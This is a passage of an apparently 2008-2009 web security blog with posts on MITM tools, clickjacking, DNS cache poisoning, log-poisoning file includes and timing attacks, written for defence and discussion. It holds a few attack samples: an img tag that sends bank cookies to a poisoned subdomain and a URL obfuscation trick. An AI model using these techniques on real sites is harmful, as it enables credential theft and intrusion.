  Both of these bugs I find to be fairly minor, but it’s just another reason you can’t trust browsers to present you with all the facts of the situation unless you really know what you’re doing. There’s a demo of the code here if you want to test it yourself (again, only works in IE8.0 or in Firefox with NoScript enabled). In either case you must enable JavaScript for it to work. If I don’t post before then and you celebrate it, Happy Easter!

• 

  Hacking Without All the Jailtime

  Posted: April 6th, 2009, 3:05pm CDT by RSnake

  Tags:  Webappsec   [edit]

  There’s been more and more legislation put in place to try to discourage hacking in general, and even tool development. Not that I think it’ll lead to many prosecutions anywhere, but nevertheless, it’s always nice to have a place to test. I got an email from one of my readers asking about the hackme series:

  Hello and thank you for an awesome blog, and a daily read.

  I while back you mentioned some “ready-made” websites that were used in the web app sec sphere to test scanners and specific tools. More specifically you mentioned 2, one of which that was somewhat depreciated, but still had some educational value. I’ve been looking though your posts, but I have had no success finding this entry.

  I’ll do one better - here’s a short list I compiled that includes a lot of the more popular tools for ethical testing, without all the muss and fuss of prison time. If you want to hone your skills or just have some fun at work, try these out (in no particular order):

  • [www.owasp.org]
  • [testasp.acunetix.com]
  • [test.acunetix.com]
  • [hackme.ntobjectives.com]
  • [www.foundstone.com]
  • [www.foundstone.com]
  • [www.foundstone.com]
  • [www.foundstone.com]
  • [zero.webappsecurity.com]
  • [www.hackertest.net]
  • [www.hackthissite.org]
  • [www.mavensecurity.com]
  • [ha.ckers.org]
  • [ha.ckers.org]
  • [demo.testfire.net]
  • [scanme.nmap.org]
  • [www.hellboundhackers.org]
  • [www.overthewire.org]
  • [roothack.org]
  • [heorot.net]
  • [www.irongeek.com]
  • [wocares.com]
  • [https:]
  • [hax.tor.hu]

  If there are others that should be added to this list, please drop me a line and I’ll add them. I hope everyone had a good April 1st and that insurance covers whatever was damaged.

• 

  iPhone SSL Warning and Safari Phishing

  Posted: March 29th, 2009, 11:33am CDT by RSnake

  Tags:  Webappsec   [edit]

  As some of you may have noticed, there’s a lot more going on in the SSL world and a lot more to come thanks to guys like Mike Zusman, Alex Sotirov Moxie Marlinspike and so on… Papers forthcoming, but in the mean time I thought I’d point out a pretty nasty UI issue with the iPhone, since it’s been something I’ve been meaning to post about for a while. Given the rise in mobile computing as a legitimate way to do business, I think this kind of thing is going to become more important. If an attacker can gain MITM access through a public wifi that the iPhone is using, they can intercept a page that the user normally uses and trusts somewhat, but doesn’t necessary trust with any sensitive data (like a blog or forum that they frequently visit for instance).

  

  What you’re seeing is a 1×1 pixel iframe (doesn’t need to be visible, but it’s good for testing purposes) to https://www.bofa.com/ which uses an invalid certificate. Don’t ask me why one of the largest banks on earth can’t get their certs in order - that’s just the way it is. Anyway, let’s pretend instead of it being incredible sloppiness, it’s actually a MITM. The user is presented with a popup that in no way explains to them what the cert they are accepting is for. So their first instinct would be to accept it, because they aren’t going to be putting any sensitive information into the page anyway. The problem is that the cert stays with the browser session - so it will continue to work, when the user does eventually surf to their bank or whatever SSL page you’ve MITM’d.

  

  Compare that to the desktop version of Safari, where it at least tells you that it’s related to www.bofa.com. Still not the greatest visual cue but it’s something. Incidentally, during this testing I messed around with some of the old tricks and found out that that Safari still suffers from the old URL obfuscation tricks of ages past. Eg: [www.bofa.com@ha.ckers.org]. *sigh*

• 

  Pushing The Limits of Tech

  Posted: March 8th, 2009, 7:32pm CDT by RSnake

  Tags:  Webappsec   [edit]

  Before I begin this post, let me just say, I’ve always been a huge huge fan of technology. I’ve got more insane tech than almost anyone I know (I know a HD Moore, though, so I don’t win that geek war, but I’m close). And I also like to think I’ve got a firm grasp of the web, but every once in a while something strikes me as just simply stunning. Go here, and watch it - I suggest making it full screen: the new GE smart grid website. Go visit it before you read the rest of this.

  I admit it, I’m amazed. It’s very very cool tech. It’s the wave of the future, and as much as I’d like to pretend I think it’s a terrible idea, I don’t. It’s just amazing. Annnnd just as I’m getting ready to set up my printer, get my camera ready, install a plugin and give it complete access to my camera… I pause, as my security brain finally wakes up from it’s amazement. I think we’re soon reaching an inflection point, and in many ways have just simply skipped way past it. What’s the point of the web? Is it to delight and amaze? Is it to allow better consumerism? Is it for communication? Is it to impart information? Is it to download porn? Is it all of those things?

  How can we possibly secure ourselves when amazing applications are finally on the horizon that make even hardened security folks want to drop all their guards to join in the party? Am I becoming a Scrooge? “Cool tech - bah humbug!” GE’s application is a wiretapper’s dream application yet I’m compelled to join in and be amazed. *sigh* I guess I’ll just have to watch it again and pretend I don’t want to install it.

• 

  Man in the Middle

  Posted: March 4th, 2009, 11:00am CST by RSnake

  Tags:  Webappsec   [edit]

  There has been a lot going on in the man in the middle space over the last few months. Frankly - I’m impressed. It’s something I haven’t talked much about publicly, but rather something I like to talk about to people at conferences. In fact, some of the innovations in the space is stuff I’ve been trying to get guys like Robert Graham and Dave Maynor to write into ferret for years now. That said, there has finally been some major leaps forward in actual technology to empower really nasty MITM attacks.

  One thing I’ve been annoyed with is that although MITM is technically possible, and indeed has even been demonstrated in lab environments a lot, it’s really not all that common, unless you’re talking about passive listening. There’s not a lot of programs that use MITM to actually modify traffic. Modifying it is where you get a lot more bang for your buck. There’s a good paper over at Watchfire about why active man in the middle attacks can give you a lot more. In fact, some of what’s in this paper was actually demonstrate by Rich Mogull at DefCon last year. No one was probably paying any mind to the analyst but that guy is ahead of his time, let me tell you! He was creating iframes to things like the gmail contact list and addresses from yahoo. Cool stuff - and that was just an evil twin.

  Also there are a few newish tools that are really important in this space. I think both need to evolve a bit, but they’re both open source, written in python, easy to modify and do 90% of the heavy lifting. So in my mind, active MITM attacks are finally really viable for the average attacker. The first tool is SSL strip written by Moxy. It does a great job of showing how you can just down-convert into an HTTP mode, and most of the time users won’t notice - especially on pages that just post to HTTPS (a huge pet peeve of mine).

  The second tool is Middler written by Jay Beale. Jay took the concept to the next level and actually built in most of the DNS spoofing/ARP spoofing part of the attack that you need, so you don’t have to run separate programs to get the attack working. Both programs deserve a lot of praise for getting this attack to be more widely understood and realistic and beyond the passive sniffing that we are all accustomed to with tools like ferret and dsniff. Sure, the concept of a MITM attack is nowhere near new, but now it’s finally accessible to the average attacker - which means it’s something we should really start thinking about, beyond saying HTTPS is a solution to our problems - clearly it is not (and for a lot more reasons than Moxy went into too).

• 

  PCI Question of the Day

  Posted: February 5th, 2009, 10:58am CST by RSnake

  Tags:  Webappsec   [edit]

  I’ve had three different people ask me this question over the last several months and so now I feel like it’s time to answer some of these technical questions. I think there are tons of ambiguities in PCI and I’d like to start hashing them out - and you all can be the judge an jury, if you like. So without further ado, here is the first question, in what might become a recurring blog post theme:

  If you’re a merchant who simply iframes your payment gateway, and never collects any information, do you have to use SSL/TLS? The payment gateway’s page already does.

  If you look at PCI, there is no strict guidance about this use case, even though it’s coming up pretty often, and really needs to be spelled out clearly. So for the purposes of PCI, I’d say, kinda, it’s a requirement. The two things that specifically mention it are:

  - Verify that HTTPS appears as a part of the browser Universal Record Locator (URL).
  - Verify that no cardholder data is required when HTTPS does not appear in the URL.

  This may not seem all that ambigious at first blush but really, there are tons of issues with these two sentences. Firstly, HTTPS very rarely appears anywhere. I think what they meant to type was https (lowercase). Next it doesn’t specify WHERE it has to appear, just that it is “part” of the URL, so http://www.whatever.com/HTTPS/… is fine. Next, in both bullets it doesn’t specify which URL they’re talking about (the one that’s in your browser or the one that’s being requested). And in the last bullet it doesn’t say that the information can’t be reflected back in a HTTP session, it just says that PII can’t be required of a user. All of these things are ambiguities.

  With the increase in use of mashups and widgets there’s going to be more and more websites out there that iframe in some payment gateway or a backend “secure” website that takes in credentials. The problem is there is no way for a user to tell if the site is using SSL/TLS or not since it’s a child frame. The main reason you use SSL/TLS in the first place is to prevent man in the middle attacks from sniffing and modifying the content on the wire. If the attacker can modify the content, they can modify the iframe to point to an unsecure domain (one that they potentially own).

  Users would have no idea that it has happened. Even seasoned experts who were just lazy and didn’t bother to read the source (assuming it wasn’t overly convoluted with obfuscated JavaScript), or watch the wire themselves might not know the difference. So while I’m not an ASV, QSA or any other TLA, it’s my opinion that the answer to the question is a resounding “yes”. Sorry mashups and widgets, it’s time to grow up and stop playing in the sandbox. The same thing goes with sites that submit via SSL/TLS but the page with the form on it is unencrypted. Bad idea. And yes, I think it should be specifically mentioned in PCI. Many more uncovered use cases to come, and feel free to send your own questions if you’d like my opinion.

• 

  Clickjacking and GuardedID

  Posted: February 4th, 2009, 7:13pm CST by RSnake

  Tags:  Webappsec   [edit]

  I’m so behind in blog posts, it’s unreal! Feel my pain. Feel it, I tell you!

  I’ve received several emails about GuardedID’s clickjacking protection, so I thought I should do a quick post about it. From Michael Brenner:

  GuardedID does not interfere with operation of legitimate iFrames, frames, AJAX, or scripted applications. GuardedID does not block operations. It makes potential clickjacks visible to the end user. PLUS, as you mentioned, GuardedID runs on IE8, IE7, and IE6, as well as Firefox 3, 2, and 1.
  
  Clickjack warning is an added benefit, rather than the primary function of our GuardedID product (at least until there is a major loss due to a creative clickjack.)
  
  GuardedID’s primary function is to obfuscate keystrokes so any keyloggers that manage to install on a workstation do not get ID’s and passwords entered into a web browser. (GuardedID, on a percentage basis, is many times more effective at what it does than most anti-virus programs are at blocking viruses.)
  
  GuardedID needs to process the DOM in order to properly identify text input fields. When focus is on a text input and GuardedID is active, GuardedID rewrites the bg color of the field so the user knows that the keystrokes are being encrypted (our marketing term for this indication is “CryptoColor”).
  
  When your clickjack paper hit the headlines last September, our phone rang constantly from users asking if we could help avoid clickjacks, especially in Internet Explorer. Since we already process the entire DOM, we added the two clickjack warning features to GuardedID in response to their requests.
  
  The “Opacity” warning forces frames with “off domain” sources to ALWAYS be visible. The “Placement” warning (called “Show Red Border” in GuardedID) forces the dashed red line around off-domain frames. (Show Red Border is really fun to use on sites like amazon.com who give up space to outside advertisers. The off-site ads are all framed.)

  So for those IE users who want to take matters into their own hands rather than waiting for IE8.0 to come out and for every site to adopt X-FRAME-OPTIONS, you have a solution at your disposal to thwart would be clickjackers. I have not tested this tool yet, and it isn’t free, like the NoScript alternative for Firefox, so if someone wants to post user comments here, they would be welcome.

• 

  DNS Cache Poisoning Non-existant Subdomains

  Posted: February 4th, 2009, 12:01pm CST by RSnake

  Tags:  Webappsec   [edit]

  I recall when I first read HD Moore’s writeup about the DNS Cache Poisoning that had happened to his upstream, I though that it was somewhat shortsighted that the attacker chose google.com to cache poison since that was so obvious. Firstly, HD and the others at his company probably actually use Google very frequently, they had already cached the real IP address in their browser so it would take a while to take effect, and most obviously there was the visual cues that tipped him and probably everyone else off since the website didn’t act like Google.

  But let’s pretend for a moment the attacker were interested only in credentials, and they knew the website in question set global cookies for the whole domain. Even in the case of SSL this might be a problem if they don’t use the secure flag within the cookie. So the attacker can then use the Kaminsky DNS cache poisoning attack against a non-existant subdomain. So instead of secure.bank.com they cache poison hacker.bank.com, and they point it to their own server.

  The attacker then simply gets the user to click on a link or visit the page through a dozen different possible ways, and poof, the credentials for the bank are sent to a subdomain of the bank that the bank doesn’t even own. Setting the secure flag on cookies helps, and making sure your cookies aren’t global in scope is also a good idea. The best part is that it doesn’t have to have any visual cues. A <img src="http://hacker.bank.com/"> is enough to force the credentials to be sent to the fake subdomain. Once the credentials are stolen, the DNS entry gets dumped because the machine goes offline, the cache in the browser can be set to expire immediately, and ultimately no one is the wiser and there is very little forensic evidence that it ever happened.

• 

  Google Gets Honest - Then Changes Mind

  Posted: January 31st, 2009, 11:38am CST by RSnake

  Tags:  Webappsec   [edit]

  In one of the most honest moves in Google’s history, Google admitted to their own customers that their own site is bad and can be used to harm your computer. Don’t believe me?

  
  Click here to enlarge

  Okay, okay, so it was just one of the worst tested code rollouts in history, they weren’t actually admitting it (at least not on purpose). The site couldn’t handle the load, and there was a bug. But it sure is funny and ironic since really they are the top rated worst offender yet I highly doubt they will be blocking their own IP space again. At least not on purpose.

  hypocrisy [hi-pok-ruh-see] (n) - when living up to your own standards simply won’t do.

• 

  Remote File Include Voodoo

  Posted: January 28th, 2009, 4:49pm CST by RSnake

  Tags:  Webappsec   [edit]

  While traveling through Sweden, I had the opportunity to hang out with a friend of mine, David Jacoby from TrueSec. As we were walking around he told me about a new technique he is working on to use a remote file include exploit in a scenario where the system doesn’t allow outbound access from the webserver. If you actually care about security you’re hopefully doing egress filtering on your firewall which has the great side benefit of making remote file includes fail. Additionally, hopefully you’re using a modern version of PHP which by default disallows remote files to be included. Well, it turns out David found that there’s a way around that.

  Barring any other file upload, it’s usually impossible to use a remote file include attack in that situation, but an attacker can inject information into Apache access logs either by URL strings or User Agents, or they can include PHP information in the mail logs by sending email from contact forms, etc… The reason this works, is that the web user typically has the rights to read from those files and those files are in somewhat predictable locations. So instead of including a file from the Internet, you include it from the local file system itself. PHP will parse the file, and run the attacker’s code. Boom.

  I typically tell people to make sure the entire file system is not writeable by the web user, but unfortunately those types of files are pretty important to be able to write to for the site’s basic functionality on most systems. However, there is still an option there. You can use commands like chattr (change attribute) under *NIX platforms to make the files writable but not readable by the web user, which would solve that problem, or making it not readable by the web user using chmod - either way. Pretty cool research from David!

• 

  IE8.0 and Clickjacking

  Posted: January 28th, 2009, 10:59am CST by RSnake

  Tags:  Webappsec   [edit]

  I’m sure you’ve heard about the new IE8.0 Clickjacking protection here, here and probably most importantly here on the IE blog. It’s probably time I explain exactly what the pros and cons are of this technology as I see it. It’s a complicated problem for those who aren’t entirely initiated so bear with me.

  Pros:

  1) It will protect against clickjacking if the header is present.

  2) It has some usability improvements over the original idea I heard which is that it can allow same-domain iframes.

  3) It doesn’t require a plugin which makes it useful by default for any users of IE8.0. That’s a good thing - now if we could just get Noscript built into the browser too! Firefox currently has no default equivalent and I don’t know of any viable projects underway to create a better fix in any other browser by default. That gives IE an edge in the market for default users, once the browser reaches the user’s desktop.

  Cons:

  1) It’s proprietary to Microsoft - which means that other browsers aren’t protected on the same site that tries to protect itself. That dramatically reduces the percentage of coverage - but that’s a reasonable issue in my mind because we have to start somewhere and other browsers can adopt it if it’s a good idea. There is precedence for this - HTTPOnly. HTTPOnly was a Microsoft proprietary tag on the end of cookies. They invented that concept many years ago and here we are years later and relatively few sites have adopted it and almost no browsers have adopted the standard, even though I think most security people would agree it has a lot of advantages over normal cookies. So if it took years for developers to add a few bytes of text to a cookie that they were already setting, how much longer is it going to take for them to understand how to set an entirely new HTTP header? If your bet is years, you and I are in agreement.

  2) No one uses IE8.0, yet. You wouldn’t believe how many times I’ve gone to a customer’s site and realized that everyone in the company is still on IE6.0! Yes, you heard me, not even 7! It’ll be a long time until we see companies getting with the times (and by the times I mean this century’s tech).

  3) Since it’s an HTTP X-header it will severely limit who can protect themselves and in what circumstances they can protect themselves. That’s not altogether a bad thing, because most of the big sites can probably muddle their way through this problem. But it’s not nearly as easy as it would be if the browsers just worked securely by default.

  4) There is no way for an average user to know that a site is protected (this was Giorgio’s point). Even more advanced IE users would find it a pain to check every single function on every site to make sure it was sending the proper header. This isn’t that big of a deal in my mind simply because there are tons of things average consumers can’t do. It doesn’t bring any peace of mind though, like an SSL lock does - for whatever real security good that does. But this header isn’t even a public relations win unlike whizbang green EV certs.

  5) It doesn’t work for all companies in all situations. Companies like banner advertizers, who need people to be able to click on their sites from other domains, can’t protect themselves because it would break their functionality. Similarly mashups and widgets present a real technical challenge.

  If you’re a company and you really want to go through the trouble of implementing this as a short term stop gap for the very few IE8.0 users that visit your website, there may be some shortcuts. For instance, if you have an HTTP gateway (like a F5 load balancer or any sort of HTTP proxy for instance) you may be able to send this header on every request without touching your application logic. Not ideal, of course, but it’s possible and probably a lot cheaper than re-writing a lot of application code to protect those very few users who would be protected. All in all I think this is interesting tech from Microsoft and I’m glad they’re thinking about it. But it’s not a panacea, and you shouldn’t rest easy if you’re an IE8.0 user.

  I’ve been promoting the concept of opt-in security for years now. I was the one who first came up with content restrictions for instance and pushed it heavily for the last 4-5 years now (and we still don’t have it). So this is one of the first very good examples of that philosophy - which is that sites should be able to protect themselves without having to interfere with anyone else’s tech anywhere else on the internet. It’s a good model in the case of content restrictions because the amount of sites that take rich HTML and need to allow script and objects and whatever else (think MySpace), still shouldn’t be forced to allow their end users to steal cookies as a price of doing business.

  The amount of sites and types of sites that intentionally allow rich HTML to be posted by any user are extremely small in comparison to the global scope of all websites everywhere. So the opt in content restrictions model makes sense in that case. X-FRAME-OPTIONS on the other hand applies to a surface area that effects nearly all dynamic websites on the entire Internet. Clickjacking is closer to CSRF than it is to sites that are vulnerable to persistent XSS worms. So while the opt in security model made sense in one sense, I think it’s improper to think about these two problems as being similar enough to warrant the same model. I’m not trying to beat up on MS here, I just want to explain my opinion!

  It will be years at the earliest before enough companies adopt Microsoft’s solution to make any real difference in the clickjacking surface area that is the Internet. The really pragmatic question is why bother creating a partial fix for a problem that no one has actually maliciously exploited yet? I’m still waiting for an actual exploit to hit the wild before I start sounding the alarm bell. Sure, there’s tons of workable exploits out there. But like a lot of things this all might be premature - there’s still a lot of easier ways to exploit websites and consumers out there.

• 

  Proxy Server Cookie Stuffing

  Posted: January 26th, 2009, 6:38pm CST by RSnake

  Tags:  Webappsec   [edit]

  The 100 embassy passwords that were compromised in the middle of 2007 through compromised Tor exit nodes has always stuck with me. Simply sniffing passwords is a great way to gain a ton of intel about the traffic that’s going over the networks. But what about other bad things?

  Two “attacks,” if you can call them attacks, sprung to mind when I heard about that. The first was changing banner ads. You can change one banner ad to be another banner ad, and get the additional revenue associated with that. Doing may or may not prove to be lucrative because people using proxies generally aren’t clicking on a lot of ads - or if they are, they aren’t the brightest bulbs.

  However, cookie stuffing is actually a slightly more feasible attack. By putting reseller cookies in the browser for every request made to a partner’s website, it’s entirely possible that some of the people who use the proxy will forget to clean their cookies upon closing down the proxy. Hackers hacking hackers. Of course, again if someone is using a proxy to anonymize themselves and they don’t clear cookies too, they probably need to get hit with a clue stick.

• 

  HTTP Verb Brute Forcing

  Posted: January 5th, 2009, 11:21am CST by RSnake

  Tags:  Webappsec   [edit]

  I read a few interesting posts here and here regarding brute forcing HTTP verbs. The F5 post suggested that it is possible to thwart people who are looking for what options you support by giving a fake response. That’s certainly one way to do it, but it’s not as robust as it might appear.

  By actually testing each verb by hand, it’s pretty easy to skip using options, if that’s not available to you. Or, if you are on the defensive side, if you are turning off one verb, turn off everything that you don’t use, so you don’t have to worry about it. Iterating verbs can be super useful for finding open/unprotected Webdav servers, finding open directories that allow PUT, or open proxies. In general automated worms just try to perform the exploit rather than iterate options anyway, so in general it’s probably a good idea to shut down all HTTP verbs and open them up as you need them, rather than close them down one at a time as you figure out why they could be used for nefarious purposes.

• 

  ToS Abuse Abuse

  Posted: December 16th, 2008, 4:45pm CST by RSnake

  Tags:  Webappsec   [edit]

  Sorry I haven’t posted in a while. Not for lack of wanting to, but alas, the real world keeps pulling me away from the fun stuff. Maybe I’ll get a chance to post more over the holiday. No the title of this post isn’t a typo, I actually just wanted to spend some time iterating this case regarding the Megan Meier case about Cyberbullying and what that means for the average consumer. Like most cyber law I’ve come across, it’s not good.

  Basically the verdict is that any violations of ToS can earn you jail time and fines. Yup, it’s a felony. So now, let’s put some haXor filters on that decision and talk about other consequences. Firstly, let’s look at Google’s ToS:

  2.3 You may not use the Services and may not accept the Terms if (a) you are not of legal age to form a binding contract with Google, or (b) you are a person barred from receiving the Services under the laws of the United States or other countries including the country in which you are resident or from which you use the Services.

  So if you are under eighteen and you DO you use Google, does that mean you committed a federal crime? And if so can you be tried as an adult, or do your parents take the rap? Or does your upstream for letting you use Google in the first place? Okay, that’s funky, but what about the fact that Google’s search engine is actually built into Firefox for domains typos? Does that mean if you typo a domain and you are underage you are committing a crime? How about those search boxes on everyone’s website that use Google? What about clicking on ads? Yah…

  So, there’s a few ways to force people to commit crimes it seems. By creating hard to find TOS (Google’s isn’t on their front page, I might ad) and confusing language, it appears you can convict anyone of just about anything unless they really take the time to read your documents. That is, of course, unless your TOS strictly prohibits the reading of any part of their website. What about CSRF TOS abuse? Yah, you too can rickroll your friends right into the pokey. Believe it or not I’m actually not picking on Google here. They are just one of a million websites that can get you arrested for legal minutia. This is just a stupid law. Maybe the woman does deserve some jail time for what she did, but not for violating TOS - which she never even read. Her, along with every other MySpace user.

• 

  Apocalyptic Vulnerability Percentages - FUD 101

  Posted: October 12th, 2008, 2:48pm CDT by RSnake

  Tags:  Webappsec   [edit]

  I’ve spent a long time in the trenches and recently I’ve been getting more and more jaded - if that’s even possible. I’m sure at least once a week someone in the office hears me utter the nearly completely useless comment, “everything’s broken anyway, who cares?” Now I think it’s time I actually explain myself. In the last decade and a half that I’ve been in interested in webappsec I’ve had the opportunity to talk to nearly every self proclaimed expert in the industry and more and more I’ve been able to get them to say or admit that “everything is broken.” I think what they mean is that if an attacker takes any system and apply enough resources against it they will get into it, break it, take it off line or whatever it is they want to do.

  I’ve talked to a number of people regarding the percentages of sites they are able to break into or find exploits in. A few years ago we were all collectively hovering around 70-80% (Jer has some good stats on this) - but we were only talking about that in context of certain classes of webappsec bugs. Could the number be higher? And I don’t mean higher by a few percentage points - I mean approaching 100%? Let’s assume for a moment that there is one or more 0day remote vulns in each of the major web servers out there that we haven’t uncovered - they happen fairly regularly so let’s just take it on faith that there is at least one or more left. Then let’s assume a large number of the remaining sites host insecure applications on top of them (we’re finding that number to be well into the 90% range for anything at all dynamic). Then let’s assume a large percentage of the very small remainder have insecure network configurations (we find that number alone to be around 70%). Then let’s assume the server providers, or administration paths are insecure to physical wire tapping, or direct exploitation against the underlying DSL modems/routers of the people who administer the site. Then let’s talk about DNS, or router/firewall exploits, ASN.1 and so on. Then let’s talk about man in the middle exploits, browser exploits, mail exploits, Instant Messaging exploits, exploits against mobile phones and so on and so on… And let’s not forget social engineering. None of which are covered by that original 80% that I think we were all talking about a few years ago.

  Remember, before we were at 80% and that was bad enough. In fact, you may all remember the Joel Snyder comment that there is no way anyone could exploit 70% of sites. I think he and others like him felt that 70% was apocalyptic and Acunetix was simply smearing marketing FUD. But what if the number was really worse? And I mean a lot worse. What would people say? What would people think? Would they stop consuming? No - which is why I don’t think talking about it is FUD, or at least not particularly effective at getting consumers to understand reality. But more importantly, who cares? If it’s all broken anyway, why do we keep releasing patches for things that are residing on top of a critically broken infrastructure while there are far more new products, features and services appearing on a daily basis - each with their own holes?

  Consumers will keep consuming, companies will keep patching, hackers will keep hacking - nothing will change because of this post or any great realization of how broken things really are. Does that mean I’m throwing up my hands and giving up? Of course not, it’s my livelihood. But it does mean that I’m not that interested in new exploits, as they are just another way to exploit something. That may be interesting to an outsider who isn’t properly initiated, but I think if you spend enough time talking to experts you too may come to the same realization I did. And that is not to spread an apocalyptic view of the Internet, given that I know consumerism will win over any security flaws.

  Many of the CISOs I talk to mention esoteric bugs as their top concern and I have to stop them and explain how unlikely it is that they’ll be hit by that specific kind of exploit, but rather how incredibly likely it is they’ll be hit by something mundane that’s been out there for years. It’s less sexy to talk about it, but we still haven’t found good solutions to problems we’ve known about for 10+ years. As a simple example - why are we still using IPv4, dns, telnet, FTP and HTTP when we have IPv6, dnssec, ssh, scp and HTTPS? Again - I don’t want to sell FUD, I actually just want to stop talking about percentages. The truth is, if you have something interactive connected to the Internet, it’s probably exploitable in some way, and really, it’s not that terrible of a thought considering it’s pretty much always been that way. If you want my advice, take a cue from the military and air gap anything you don’t want broken into. And with that downer, I hope you’re having a good weekend.

• 

  Tomcat SSL Fingerprinting

  Posted: October 5th, 2008, 12:32pm CDT by RSnake

  Tags:  Webappsec   [edit]

  I ran into this a few weeks ago and I thought it was just so silly I had to post it. If you telnet to an SSL/TLS enabled port and type in “GET / HTTP/1.0″ and hit enter it immediately responds with this rather poorly thought out error message:

  <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
  <html><head>
  <title>400 Bad Request</title>
  </head><body>
  <h1>Bad Request</h1>
  <p>Your browser sent a request that this server could not understand.<br />
  Reason: You're speaking plain HTTP to an SSL-enabled server port.<br />
  Instead use the HTTPS scheme to access this URL, please.<br />

  The irony is that it’s saying that it doesn’t know what I’m saying, even though it clearly does know what I’m saying since it tells me what I’m doing wrong. Pretty stupid error messaging and pretty easy to use to fingerprint the web server. Just thought it was funny enough to pass along.

• 

  OWASP Pelting

  Posted: September 25th, 2008, 9:02am CDT by RSnake

  Tags:  Webappsec   [edit]

  I’m already back in the airport after a long day over at the world OWASP conference in New York. Among other things that were noteworthy was some extremely tacky marketing schwag from the ISC2 folks that says, “I fill the holes in your SLC”. I feel dirty having even typed that. I wish I were kidding. Ridiculous pictures of Dave Aitel wearing said schwag may or may not end up online in the near future. In the meantime, I wanted to do a brief overview on where we are and how things are progressing.

  Jeremiah and I gave a brief talk yesterday outlining the timeline of events, and high level concepts of what was going on. We didn’t talk specifics other than some personal remediation advice - yes Lynx is your friend. I felt really lame giving a speech saying I wasn’t giving a speech, trust me. This was not a career highlight, by any stretch. Hence the self flagellation of telling everyone to loose a volley of squishy OWASP balls at me. I missed most of the volley in the picture I took of it, but you can still clearly see several of the OWASP balls in flight:

  
  Click to enlarge

  Jeremiah and I answered quite a few questions from the audience before, during and after the speech, and I’m sure a number of people are already working on their own versions of what they think we’re up to, given that a number of people were quick to tell us they were working on some demo code of some aspects of their interpretation of what we were talking about. I’m sorry to be vague, I really am.

  Lastly, we did tell the audience that we will most likely be releasing a whitepaper on the informer’s website of Hackers for Charity prior to doing our full announcement (maybe a week or so before). It’s just a nice thing to do for kids, and we totally support Johnny Long’s efforts. Please sign up. It’s a good cause. If you must know the details and are too cheap to help kids in third world countries or you happen to be a kid in a third world country, I’m sure it will leak out in other ways and we’ll also post the whitepaper publicly later as well.

  So, no time line still as of yet, but we are getting regular updates from Adobe and we’re confident they are being as expeditious as they can without risking introducing other issues in the process of issuing their fix. We’ll keep you updated.

• 

  Clickjacking

  Posted: September 15th, 2008, 7:36pm CDT by RSnake

  Tags:  Webappsec   [edit]

  There’s been a bit of drama over the last week or so around the upcoming world OWASP conference in New York. It’s surrounding a talk that Jeremiah and I were planning on doing the first day of the conference. Jeremiah and I have been working on some interesting browser security issues which also effect a lot of downstream people/websites/technologies as well. Sounds like a good talk right? We thought so too!

  Alas, it turns out that some of the issues we found weren’t just a little bad - they were a lot bad. So bad, in fact, that we felt compelled to do some responsible disclosure. One issue lead into another issue into another and poof - we have at least two and probably more incoming vendor patches at a yet to-be-determined date. And we’ve only worked with a few vendors. So… yah. It’s pretty bad.

  As you may have guessed the first is a browser company, Microsoft (to be expected since it’s a browser issue to begin with). The second is Adobe - who have been working closely with us on this one since we first told them about the problem. We have been working on proof of concept code since before Blackhat and finally got our ducks in a row with real working exploit code a few weeks ago. And that is pretty much when the problems started. None of the issues we found relating to the browser were particularly easy to fix, it turns out.

  The related issues we found that affect websites (instead of browsers) is thankfully slightly easier to deal with on a one off basis, but that too is going to be a problem. There are a lot of much easier hacks out there against websites for sure, but what we’ve been working on breaks some previously good security measures. The correct solve will not be patching every web-site on earth. Instead it will likely end up being a browser patch against every major browser. The idea of every webmaster in the world patching their own sites is a non-starter. Although I’m sure lots of people are going to run out and patch their sites rather than wait for the normal browser patch and release cycle for all browsers everywhere. We’ve discussed the high level concern with both Microsoft and Mozilla and they concur independently that this is a tough problem with no easy solve in sight at the moment.

  So, after much deliberation we opted to pull our speech voluntarily, due to the extremely neutered information we’d have to be sharing. We’d much rather share the full breadth of what we found when it can be discussed more openly as to not diminish the danger of the flaw by only talking about small parts of the issue. There will still be holes in many websites due to this problem even after the short term patches are available, but we’d rather a few of the more critical problems get patched before we go public.

  However, I must stress, this is not an evil “the man is trying to keep us hackers down” situation, a la Michael Lynn vs. Cisco, or Chris Paget vs. HID, or MIT vs. MBTA and so on. We proactively decided it was better to pull the speech ourselves for the time being and for anyone who was looking forward to the speech all I can say is I hope to make it up to you once the vendors are in a better spot. It wasn’t an easy decision but it really feels like the best option we have given the current situation. If you’re desperate for a way to patch your browser from the issue disable scripting and plugins for the time being. More to come.

• 

  More Timing Precision Enhancements

  Posted: August 28th, 2008, 9:44pm CDT by RSnake

  Tags:  Webappsec   [edit]

  Okay, so my last post on timing precision was interesting, but then I went back and started doing more thinking and I found a few ways to get even better precision out of a typical timing attack. Let’s look at a real world HTTP request and response:

  Packet: 1, Time: 0.000000 DNS Query (outbound)

  Packet: 2, Time: 0.101079 DNS Response (inbound)

  Packet: 3, Time: 0.103195 SYN (outbound)

  Packet: 4, Time: 0.147479 SYN+ACK (inbound)

  Packet: 5, Time: 0.147536 ACK (outbound)

  Packet: 6, Time: 0.147801 HTTP request (outbound)

  Packet: 7, Time: 0.327528 ACK (inbound)

  Packet: 8, Time: 0.825132 TCP segment HTTP response (inbound)

  Packet: 9, Time: 0.826323 HTTP Response (inbound)

  Packet: 10, Time: 0.826416 ACK (outbound)

  Now normally a timing attack would encompass this entire mess, but really we are only interested in a few time slices. We can completely disregard the DNS request and indeed up until the seventh packet, which is the acknowledgment that the packet was received (when we know that our packet has arrived and is in the process of being served up). That right there shaves 1/3 of a second off of my example (this was a real example, btw).

  And again, when we are receiving the response, we don’t actually care about the last two packets, only the 8th packet (the returned data). The difference between packet 7 and 8 is what we are actually interested in. By combining this technique with the previous one about finding the exact time the packet arrived by calculating the precision you can identify exactly when the 6th packet arrived, and not just when you got your ACK in the 7th packet. The ACK is important but it gives you a slightly skewed result since it is a timestamp based on when you received it and not based upon when it was sent, unlike the Date: HTTP header that you receive in the 8th packet.

  If you don’t look at the packet level information you are introducing up to 1/3rd of a second out of only .826 seconds on the first request, and still a few extra milliseconds extra even if you discount the DNS request. Point being there are certainly some enhancements to be made to the old timing attacks of yesteryear. Looks like a tool waiting to be made…

• 

  Timing Precision

  Posted: August 26th, 2008, 6:12pm CDT by RSnake

  Tags:  Webappsec   [edit]

  If you’ve been watching the Olympics you might have see the pretty amazingly close call between Phelps and Cavic. I looked at lots of different pictures and video of it and everyone was saying it was a close call, but they also said it was 1/100th of a second difference. Was it? Okay, here is where we get into our webappsec theory of the day.

